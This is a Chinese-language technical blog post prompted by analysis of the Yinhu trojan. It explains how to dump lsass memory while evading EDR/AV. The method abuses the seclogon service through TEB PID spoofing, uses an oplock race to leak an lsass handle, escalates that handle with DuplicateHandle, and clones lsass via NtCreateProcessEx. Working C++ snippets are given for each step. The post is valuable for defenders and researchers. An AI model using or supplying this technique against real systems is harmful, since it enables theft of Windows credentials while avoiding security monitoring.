利用 Seclogon PPID Spoofing 实现 dump lsass 内存

最近分析银狐木马,发现其中利用 seclogon 服务实现了了一种父进程欺骗技术,就阅读了技术 原文 并做了以下总结。

seclogon,叫做辅助登录服务,该服务是一个 RPC 服务。其主要功能为模拟特定用户登录并创建进程,通过观察其 idl 文件可以发现其主要实现了 SeclCreateProcessWithLogonW 函数。

image.png
202412031720386.png

每当在程序中调用由 advapi32.dll 导出的 CreateProcessWithTokenW 或 CreateProcessWithLogonW 的时候都会触发 RPC 调用,从而进入 seclogon 服务中。

image.png
202412031719939.png

整体流程如下:

graph TD
    subgraph advapi32.dll
        A(CreateProcessWithTokenW) --> C(CreateProcessWithLogonCommonW)
        B(CreateProcessWithLogonW) --> C
        C --> D(c_SeclCreateProcessWithLogonW)
    end

    subgraph seclogon.dll
        D --> E(SeclCreateProcessWithLogonW)
        E --> F(SlrCreateProcessWithLogon)
    end

任何进程在创建时都需要明确其父进程,正常调用 CreateProcessWithTokenW 或 CreateProcessWithLogonW 创建新进程时默认父进程为当前进程,也就意味着 seclogon 服务中会获取到 调用方的 PID。通过逆向分析或查看 XP 源码可以发现  SlrCreateProcessWithLogon 在创建新进程前会尝试打开目标进程以确保传入的 PID 是合法的。

image.png
202412031720692.png

image.png
202412031825689.png

其中打开的进程句柄就是属于 调用方的进程句柄,该句柄会用于之后的一系列操作,以创建新请求的进程。例如,之后的更改新进程的父 PID,更新进程属性,以便将其与调用方匹配后再通过 CreateProcessAsUserW 进行实际进程创建。

image.png
202412041238367.png

我们可以观察到 seclogon 在确定调用方的时候是通过 psli->dwProcessId 值获取的进程 ID,那么这个值是从哪里来的呢。分析调用调用链上的所有函数,最终找到其是在 CreateProcessWithLogonCommonW 中通过 GetCurrentProcessId 进行的赋值。

image.png
202412041420038.png

而 GetCurrentProcessId 不必多说,其是在当前线程 TEB 中获取进程 ID 的。

image.png
202412041422718.png

这也就意味 seclogon 中的 OpenProcess 操作的输入参数 PID 是完全可控的,只需要修改 TEB 中的对应内存即可以完成父进程欺骗。

cpp

void SpoofPidTeb(DWORD spoofedPid, PDWORD originalPid, PDWORD originalTid) {
    CLIENT_ID CSpoofedPid;
    *originalPid = GetCurrentProcessId();
    *originalTid = GetCurrentThreadId();
    CLIENT_ID* pointerToTebPid = &(NtCurrentTeb()->ClientId);
    CSpoofedPid.UniqueProcess = (HANDLE)spoofedPid;
    CSpoofedPid.UniqueThread = (HANDLE)*originalTid;
    memcpy(pointerToTebPid, &CSpoofedPid, sizeof(CLIENT_ID));
}

好了,接下来就是紧张刺激的 dump lsass 环节了。

先整理下 dump lsass 的基本流程。在不考虑 EDR/AV 的情况下,

  1. 通过 OpenProcess 调用打开对 lsass PID 的进程句柄,访问权限为 PROCESS_QUERY_INFORMATION 和 PROCESS_VM_READ
  2. 使用 MiniDumpWriteDump 读取 lsass 的所有进程地址空间,并将其保存到磁盘上的文件中。注意,MiniDumpWriteDump 严重依赖于 NtReadVirtualMemory 系统调用的使用,该调用允许它读取远程进程的内存。

是的,就是这么简单,但实际上,直接进行 dump 会引发 EDR/AV 的告警,接下来就是要研究如何实现对 EDR/AV 的绕过。

既然我们直接打开 lsass 的进程句柄会触发告警,那么可以通过一个 EDR/AV 信任的第三方进程打开句柄,而我们只需要复制这个句柄到自己的进程中就可以了。上述 seclogon PPID spoofing 的过程中调用了 OpenProcess,所以我们只需要通过传入 lsass 的进程 ID,seclogon 会主动帮我们打开目标进程。

但是,我们又面临了两个问题。

  1. 这个句柄并不会一直有效,在创建进程后其会被释放掉,所以我们要在其有效期内完成 dump,或者通过条件竞争使其在我们复制完成后再释放。
  2. MiniDumpWriteDump 需要 PROCESS_QUERY_INFORMATION 和 PROCESS_VM_READ 权限,而 seclogon 打开的句柄权限不够。

有问题那就解决问题!

为保证句柄在我们复制之前始终有效,最好的办法就是找到一些涉及文件的操作,并在其上设置一个 OpLock  以阻塞执行流,这样我们就可以在 CloseHandle 调用之前复制该句柄。

但实际上,通过检查 OpenProcess 和 CloseHandle 之间的所有代码,找不到任何与文件相关的函数 😕

但是,CloseHandle 调用之前会调用 CreateProcessAsUser

image.png
202412041550791.png

CreateProcessAsUser 允许在指定令牌表示的用户的安全上下文中创建新进程。执行一些准备步骤后,它会从 kernel32.dll 调用 CreateProcessInternalW,该函数会在进入内核 NtCreateUserProcess 之前做好所有的准备工作。在内核中执行的操作之一是打开提供的文件路径并创建 section 对象。

image.png
202412041551046.png

谁说 EXE 一定要是一个 EXE 呢 😆

我们可以针对某个文件创建 OpLock,并将其作为 CreateProcessAsUser 的参数进行传递。这样,在 NtCreateUserProcess 创建 Section 时就可以将其阻塞,来让我们有足够的时间去复制句柄。

cpp

// credits to @tirannido
// took from --> https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CommonUtils/FileOpLock.cpp
void CreateFileLock(HANDLE hFile, LPOVERLAPPED overlapped) {
    REQUEST_OPLOCK_INPUT_BUFFER inputBuffer;
    REQUEST_OPLOCK_OUTPUT_BUFFER outputBuffer;
    inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
    inputBuffer.StructureLength = sizeof(inputBuffer);
    inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;
    inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;
    outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;
    outputBuffer.StructureLength = sizeof(outputBuffer);
    DeviceIoControl(hFile, FSCTL_REQUEST_OPLOCK, &inputBuffer, sizeof(inputBuffer), &outputBuffer, sizeof(outputBuffer), NULL, overlapped);
    DWORD err = GetLastError();
    if (err != ERROR_IO_PENDING) {
        printf("Oplock Failed %d\n", err);
        exit(-1);
    }
}

void LeakLsassHandleInSeclogonWithRaceCondition(DWORD lsassPid) {
    wchar_t fileToLock[] = L"C:\\Windows\\system32\\license.rtf";
    OVERLAPPED overlapped;
    DWORD dwBytes;
    THREAD_PARAMETERS thread_params;
    HANDLE hFile = CreateFile(fileToLock, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
    overlapped.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    CreateFileLock(hFile, &overlapped);
    thread_params.pid = lsassPid;
    thread_params.cmdline = fileToLock;
    // we need to run CreateProcessWithToken() in a separate thread because the file lock would also lock our thread
    CreateThread(NULL, 0, ThreadSeclogonLock, (LPVOID)&thread_params, 0, NULL);
    // this call will halt the current thread until someone will access the locked file. We expect seclogon trying to access license.rtf when calling CreateProcessAsUser()
    if (!GetOverlappedResult(hFile, &overlapped, &dwBytes, TRUE)) {
        printf("Oplock Failed. Exiting...\n");
        exit(-1);
    }
    printf("Seclogon thread locked. A lsass handle will be available inside the seclogon process!\n");

seclogon 泄露的句柄不包含我们需要的 PROCESS_VM_READ 权限。相对的,其包含了 PROCESS_DUP_HANDLE 权限。而通过 @tirannido 提供的 方法 ,只要 lsass 拥有 PROCESS_DUP_HANDLE 的访问权限,就可以从泄露的句柄开始获取 lsass 的完整访问进程句柄。

“The DuplicateHandle system call has an interesting behaviour when using the pseudo current process handle, which has the value -1. Specifically if you try and duplicate the pseudo handle from another process you get back a full access handle to the source process.” quote from Bypassing SACL Auditing on LSASS.

所以只需要这样,就可以获得拥有 lsass 进程完整访问权限的句柄。

cpp

DuplicateHandle((HANDLE)leakedHandle, (HANDLE)-1, GetCurrentProcess(), &hLeakedHandleFullAccess, 0, FALSE, DUPLICATE_SAME_ACCESS);

到目前为止,已经拿到了 lsass 的进程句柄。

下一步就是…,dump!!!

直接调用 MiniDumpWriteDump 就可以完成对 lsass 的 dump,但 EDR/AV 会告警,主要原因是其中直接调用了 NtReadVirtualMemory 对 lsass 进行了内存读取这种高危操作。

内核中存在一个函数 MiCloneProcessAddressSpace,其功能为遍历所有 PTE 并 clone 内存。

image.png
202412041659470.png

查找其交叉引用可以发现如下调用链。这意味着我们可以通过调用 NtCreateProcessEx 创建一个内存完全 clone 自 lsass 的全新进程 (具体分析可以参考 该文章),之后可以通过对该进程进行内存 dump 间接获取到 lsass 的内存。

graph TD
        A(NtCreateProcessEx) --> B(PspCreateProcess)
        B --> C(MmInitializeProcessAddressSpace)
        C --> D(MiCloneProcessAddressSpace)

调用 NtCreateProcessEx 需要的 lsass 句柄权限主要是 PROCESS_CREATE_PROCESS,seclogon 打开的句柄已经包括该权限,所以使用这种方法的话,其实就不必上述的 DuplicateHandle 泄露高权限句柄 了。

之后只需要针对新 clone 出的进程正常调用 MiniDumpWriteDump 就可以了。